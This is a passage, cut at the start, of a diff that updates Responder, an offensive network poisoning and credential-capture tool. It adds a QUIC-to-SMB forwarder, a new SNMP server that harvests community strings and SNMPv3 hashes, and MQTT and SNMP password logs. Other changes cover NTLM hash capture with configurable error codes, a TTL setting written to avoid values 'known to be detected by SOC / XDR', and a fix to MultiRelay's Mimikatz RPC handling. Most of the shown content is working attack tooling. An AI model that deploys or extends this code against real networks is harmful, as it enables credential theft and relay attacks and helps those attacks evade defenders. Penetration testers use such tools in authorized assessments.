Error connecting to {self.target_address}:445: {e}") + return + + # Forward data from QUIC to TCP + try: + _, writer = self.tcp_connections[stream_id] + writer.write(data) + await writer.drain() + except Exception as e: + logging.error(f"[!] Error writing to TCP: {e}") + await self.close_tcp_connection(stream_id) + + async def tcp_to_quic(self, stream_id, reader): + try: + while True: + data = await reader.read(BUFFER_SIZE) + if not data: + break + + self._quic.send_stream_data(stream_id, data) + self.transmit() + except Exception as e: + logging.error(f"[!] Error reading from TCP: {e}") + finally: + await self.close_tcp_connection(stream_id) + + async def close_tcp_connection(self, stream_id): + if stream_id in self.tcp_connections: + _, writer = self.tcp_connections[stream_id] + writer.close() + await writer.wait_closed() + del self.tcp_connections[stream_id] + + async def close_all_tcp_connections(self): + try: + # Make a copy of the keys to avoid modification during iteration + stream_ids = list(self.tcp_connections.keys()) + for stream_id in stream_ids: + try: + await self.close_tcp_connection(stream_id) + except KeyError: + # Silently ignore if the stream ID no longer exists + pass + except Exception as e: + # Catch any other exceptions that might occur + logging.debug(f"[!] Error closing TCP connections: {e}") + +async def start_quic_server(listen_interface, cert_path, key_path): + # Configure QUIC + configuration = QuicConfiguration( + alpn_protocols=["smb"], + is_client=False, + ) + + # Load certificate and private key + try: + configuration.load_cert_chain(cert_path, key_path) + except Exception as e: + logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}") + return + + # Resolve interfaces to IP addresses + listen_ip = listen_interface + if not is_ip_address(listen_interface): + listen_ip = get_interface_ip(listen_interface) + if not listen_ip: + logging.error(f"[!] Could not resolve IP address for interface {listen_interface}") + return + + target_ip = listen_interface + if not is_ip_address(listen_interface): + target_ip = get_interface_ip(listen_interface) + if not target_ip: + logging.error(f"[!] Could not resolve IP address for interface {listen_interface}") + return + + # Start QUIC server with correct protocol factory + server = await serve( + host=listen_ip, + port=443, + configuration=configuration, + create_protocol=lambda *args, **kwargs: QUIC( + *args, + target_address=target_ip, + **kwargs + ) + ) + + logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)") + logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)") + + # Keep the server running forever + await asyncio.Future() + + +def is_ip_address(address): + """Check if a string is a valid IP address.""" + import socket + try: + socket.inet_pton(socket.AF_INET, address) + return True + except socket.error: + try: + socket.inet_pton(socket.AF_INET6, address) + return True + except socket.error: + return False diff --git a/servers/RPC.py b/servers/RPC.py index ce931f5..c8074ac 100644 --- a/servers/RPC.py +++ b/servers/RPC.py @@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #LSARPC @@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #WINSPOOL @@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #NetLogon @@ -180,7 +180,7 @@ class RPCMap(BaseRequestHandler): #RPC.calculate() #self.request.send(NetworkSendBufferPython2or3(str(RPC))) #data = self.request.recv(1024) - #print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1)) + #print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1)) except Exception: self.request.close() diff --git a/servers/SMB.py b/servers/SMB.py index ff90aac..2110927 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -178,7 +178,7 @@ def IsNT4ClearTxt(data, client): WordCount = data[HeadLen] ChainedCmdOffset = data[HeadLen+1] - if ChainedCmdOffset == "\x75": + if ChainedCmdOffset == "\x75" or ChainedCmdOffset == 117: PassLen = struct.unpack(' 2: @@ -200,7 +200,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP if not data: break - if data[0] == "\x81": #session request 139 + if data[0:1] == b"\x81": #session request 139 Buffer = "\x82\x00\x00\x00" try: self.request.send(Buffer) @@ -209,7 +209,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP pass ##Negotiate proto answer SMBv2. - if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data): + if data[8:10] == b"\x72\x00" and re.search(rb"SMB 2.\?\?\?", data): head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") t = SMB2NegoAns() t.calculate() @@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP ## Session Setup 3 answer SMBv2. if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe': ParseSMBHash(data, self.client_address[0], Challenge) - head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1')) + if settings.Config.ErrorCode: + ntstatus="\x6d\x00\x00\xc0" + else: + ntstatus="\x22\x00\x00\xc0" + head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1')) t = SMB2Session2Data() packet1 = str(head)+str(t) buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) @@ -247,7 +251,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP data = self.request.recv(1024) # Negotiate Protocol Response smbv1 - if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None: + if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(rb'SMB 2.\?\?\?', data) == None: Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data))) Body.calculate() @@ -335,7 +339,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version self.request.settimeout(1) data = self.request.recv(1024) Challenge = RandomChallenge() - if data[0] == b"\x81": #session request 139 + if data[0:1] == b"\x81": #session request 139 Buffer = "\x82\x00\x00\x00" self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) @@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version self.request.send(NetworkSendBufferPython2or3(Buffer)) else: ParseLMNTHash(data,self.client_address[0], Challenge) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) + if settings.Config.ErrorCode: + ntstatus="\x6d\x00\x00\xc0" + else: + ntstatus="\x22\x00\x00\xc0" + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Packet = str(head) + str(SMBSessEmpty()) Buffer = StructPython2or3('>i', str(Packet))+str(Packet) self.request.send(NetworkSendBufferPython2or3(Buffer)) diff --git a/servers/SMTP.py b/servers/SMTP.py index 0dc5bd0..17fa26f 100644 --- a/servers/SMTP.py +++ b/servers/SMTP.py @@ -65,7 +65,7 @@ class ESMTP(BaseRequestHandler): data = self.request.recv(1024) if data: - try: Password = b64decode(data) + try: Password = b64decode(data).decode('latin-1') except: Password = data SaveToDb({ diff --git a/servers/SNMP.py b/servers/SNMP.py new file mode 100755 index 0000000..718b5e3 --- /dev/null +++ b/servers/SNMP.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from utils import * +from binascii import hexlify +from pyasn1.codec.ber.decoder import decode + +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + +class SNMP(BaseRequestHandler): + def handle(self): + data = self.request[0] + received_record, rest_of_substrate = decode(data) + + snmp_version = int(received_record['field-0']) + + if snmp_version == 3: + full_snmp_msg = hexlify(data).decode('utf-8') + received_record_inner, _ = decode(received_record['field-2']) + snmp_user = str(received_record_inner['field-3']) + engine_id = hexlify(received_record_inner['field-0']._value).decode('utf-8') + auth_params = hexlify(received_record_inner['field-4']._value).decode('utf-8') + + + SaveToDb({ + "module": "SNMP", + "type": "SNMPv3", + "client" : self.client_address[0], + "user": snmp_user, + "hash": auth_params, + "fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params) + }) + else: + community_string = str(received_record['field-1']) + snmp_version = '1' if snmp_version == 0 else '2c' + + SaveToDb( + { + "module": "SNMP", + "type": "Cleartext SNMPv{}".format(snmp_version), + "client": self.client_address[0], + "user": community_string, + "cleartext": community_string, + "fullhash": community_string, + } + ) diff --git a/servers/WinRM.py b/servers/WinRM.py index 25305f1..bf730e4 100644 --- a/servers/WinRM.py +++ b/servers/WinRM.py @@ -125,12 +125,16 @@ def PacketSequence(data, client, Challenge): return Buffer else: if settings.Config.Basic: - Response = IIS_Basic_401_Ans() + r = IIS_Basic_401_Ans() + r.calculate() + Response = r if settings.Config.Verbose: print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) else: - Response = IIS_Auth_401_Ans() + r = IIS_Auth_401_Ans() + r.calculate() + Response = r if settings.Config.Verbose: print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) @@ -175,6 +179,6 @@ class WinRM(BaseRequestHandler): self.request.send(NetworkSendBufferPython2or3(Buffer)) except: - raise + self.request.close() pass diff --git a/settings.py b/settings.py old mode 100755 new mode 100644 index 59e7216..d8e7f04 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.3.0' +__version__ = 'Responder 3.1.6.0' class Settings: @@ -42,25 +42,56 @@ class Settings: return str.upper() == 'ON' def ExpandIPRanges(self): - def expand_ranges(lst): + def expand_ranges(lst): ret = [] for l in lst: - tab = l.split('.') - x = {} - i = 0 - for byte in tab: - if '-' not in byte: - x[i] = x[i+1] = int(byte) - else: - b = byte.split('-') - x[i] = int(b[0]) - x[i+1] = int(b[1]) - i += 2 - for a in range(x[0], x[1]+1): - for b in range(x[2], x[3]+1): - for c in range(x[4], x[5]+1): - for d in range(x[6], x[7]+1): - ret.append('%d.%d.%d.%d' % (a, b, c, d)) + if ':' in l: #For IPv6 addresses, similar to the IPv4 version below but hex and pads :'s to expand shortend addresses + while l.count(':') < 7: + pos = l.find('::') + l = l[:pos] + ':' + l[pos:] + tab = l.split(':') + x = {} + i = 0 + xaddr = '' + for byte in tab: + if byte == '': + byte = '0' + if '-' not in byte: + x[i] = x[i+1] = int(byte, base=16) + else: + b = byte.split('-') + x[i] = int(b[0], base=16) + x[i+1] = int(b[1], base=16) + i += 2 + for a in range(x[0], x[1]+1): + for b in range(x[2], x[3]+1): + for c in range(x[4], x[5]+1): + for d in range(x[6], x[7]+1): + for e in range(x[8], x[9]+1): + for f in range(x[10], x[11]+1): + for g in range(x[12], x[13]+1): + for h in range(x[14], x[15]+1): + xaddr = ('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h)) + xaddr = re.sub('(^|:)0{1,4}', ':', xaddr, count = 7)#Compresses expanded IPv6 address + xaddr = re.sub(':{3,7}', '::', xaddr, count = 7) + ret.append(xaddr) + else: + tab = l.split('.') + x = {} + i = 0 + for byte in tab: + if '-' not in byte: + x[i] = x[i+1] = int(byte) + else: + b = byte.split('-') + x[i] = int(b[0]) + x[i+1] = int(b[1]) + i += 2 + for a in range(x[0], x[1]+1): + for b in range(x[2], x[3]+1): + for c in range(x[4], x[5]+1): + for d in range(x[6], x[7]+1): + ret.append('%d.%d.%d.%d' % (a, b, c, d)) return ret self.RespondTo = expand_ranges(self.RespondTo) @@ -83,22 +114,30 @@ class Settings: # Config parsing config = ConfigParser.ConfigParser() config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) - + + # Poisoners + self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR')) + self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS')) + self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS')) + # Servers self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB')) + self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC')) self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL')) self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP')) self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP')) self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP')) self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) + self.MQTT_On_Off = self.toBool(config.get('Responder Core', 'MQTT')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP')) - self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) - self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) + self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) + self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) + self.SNMP_On_Off = self.toBool(config.get('Responder Core', 'SNMP')) # Db File self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database')) @@ -133,9 +172,31 @@ class Settings: self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP) self.DHCP_DNS = options.DHCP_DNS self.ExternalIP6 = options.ExternalIP6 + self.Quiet_Mode = options.Quiet + self.AnswerName = options.AnswerName + self.ErrorCode = options.ErrorCode + # TTL blacklist. Known to be detected by SOC / XDR + TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"] + # Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py) + if options.TTL is None: + self.TTL = None + + # Random TTL + elif options.TTL.upper() == "RANDOM": + TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x')) + if TTL in TTL_blacklist: + TTL = int.from_bytes(TTL, "big")+1 + TTL = int.to_bytes(TTL, 4) + self.TTL = TTL.decode('utf-8') + else: + self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8') + + #Do we have IPv6 for real? + self.IPv6 = utils.Probe_IPv6_socket() + if self.Interface == "ALL": - self.Bind_To_ALL = True + self.Bind_To_ALL = True else: self.Bind_To_ALL = False #IPV4 @@ -174,9 +235,11 @@ class Settings: self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt') self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt') + self.MQTTLog = os.path.join(self.LogDir, 'MQTT-Clear-Text-Password-%s.txt') self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') + self.SNMPLog = os.path.join(self.LogDir, 'SNMP-Clear-Text-Password-%s.txt') self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') @@ -200,17 +263,21 @@ class Settings: self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') if len(self.HtmlToInject) == 0: - self.HtmlToInject = "Loading" + self.HtmlToInject = ""# Let users set it up themself in Responder.conf. "Loading" if len(self.WPAD_Script) == 0: - self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' + if self.WPAD_On_Off: + self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}' + + if self.ProxyAuth_On_Off: + self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}' if self.Serve_Exe == True: if not os.path.exists(self.Html_Filename): - print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)) + print(utils.color("/!\\ Warning: %s: file not found" % self.Html_Filename, 3, 1)) if not os.path.exists(self.Exe_Filename): - print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)) + print(utils.color("/!\\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)) # SSL Options self.SSLKey = config.get('HTTPS Server', 'SSLKey') @@ -220,8 +287,11 @@ class Settings: self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])) self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])) self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) - self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) - + self.DontRespondToTLD = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToTLD').strip().split(',')])) + self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) + #add a .local to all provided DontRespondToName + self.MDNSTLD = ['.LOCAL'] + self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD] #Generate Random stuff for one Responder session self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)]) @@ -279,7 +349,7 @@ class Settings: pass else: #If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null - Certs = os.system("./certs/gen-self-signed-cert.sh >/dev/null 2>&1") + Certs = os.system(self.ResponderPATH+"/certs/gen-self-signed-cert.sh >/dev/null 2>&1") try: NetworkCard = subprocess.check_output(["ifconfig", "-a"]) @@ -290,10 +360,12 @@ class Settings: NetworkCard = "Error fetching Network Interfaces:", ex pass try: - DNS = subprocess.check_output(["cat", "/etc/resolv.conf"]) - except subprocess.CalledProcessError as ex: - DNS = "Error fetching DNS configuration:", ex - pass + p = subprocess.Popen('resolvectl', stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + DNS = p.stdout.read() + except: + p = subprocess.Popen(['cat', '/etc/resolv.conf'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + DNS = p.stdout.read() + try: RoutingInfo = subprocess.check_output(["netstat", "-rn"]) except: @@ -306,7 +378,7 @@ class Settings: Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1')) try: utils.DumpConfig(self.ResponderConfigDump, Message) - utils.DumpConfig(self.ResponderConfigDump,str(self)) + #utils.DumpConfig(self.ResponderConfigDump,str(self)) except AttributeError as ex: print("Missing Module:", ex) pass diff --git a/tools/MultiRelay/RelayMultiCore.py b/tools/MultiRelay/RelayMultiCore.py index d82856a..3c1fa2d 100644 --- a/tools/MultiRelay/RelayMultiCore.py +++ b/tools/MultiRelay/RelayMultiCore.py @@ -636,7 +636,7 @@ def MimiKatzRPC(Command, f, host, data, s): Output = ExtractRPCCommandOutput(data)[12:] while True: dataoffset = dataoffset + buffsize - if data[64:66] == b"\x05\x00" and data[67] == b"\x02":##Last DCE/RPC Frag + if data[64:66] == b"\x05\x00" and data[67:68] == b"\x02":##Last DCE/RPC Frag LastFragLen = struct.unpack(' https://www.patreon.com/PythonResponder") - print(" Paypal -> https://paypal.me/PythonResponder") - print('') - print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)") - print(" To kill this script hit CTRL-C") print('') def StartupMessage(): enabled = color('[ON]', 2, 1) disabled = color('[OFF]', 1, 1) - + print(color("[*] ", 2, 1)+"Sponsor Responder: https://paypal.me/PythonResponder") print('') print(color("[+] ", 2, 1) + "Poisoners:") - print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled)) - print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled)) - print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled)) + print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled)) + print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled)) + print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled)) print(' %-27s' % "DNS" + enabled) print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled)) print('') @@ -512,9 +515,11 @@ def StartupMessage(): print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)) print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)) print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)) + print(' %-27s' % "MQTT server" + (enabled if settings.Config.MQTT_On_Off else disabled)) print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled)) + print(' %-27s' % "SNMP server" + (enabled if settings.Config.SNMP_On_Off else disabled)) print('') print(color("[+] ", 2, 1) + "HTTP Options:") @@ -554,10 +559,20 @@ def StartupMessage(): print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) if len(settings.Config.DontRespondToName): print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) + if len(settings.Config.DontRespondToTLD): + print(' %-27s' % "Don't Respond To MDNS TLD" + color(str(settings.Config.DontRespondToTLD), 5, 1)) + if settings.Config.TTL == None: + print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1)) + else: + print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1)) print('') print(color("[+] ", 2, 1) + "Current Session Variables:") print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1)) print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1)) print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1)) - + + #credits + print('') + print(color("[*] ", 2, 1)+"Version: "+settings.__version__) + print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, ")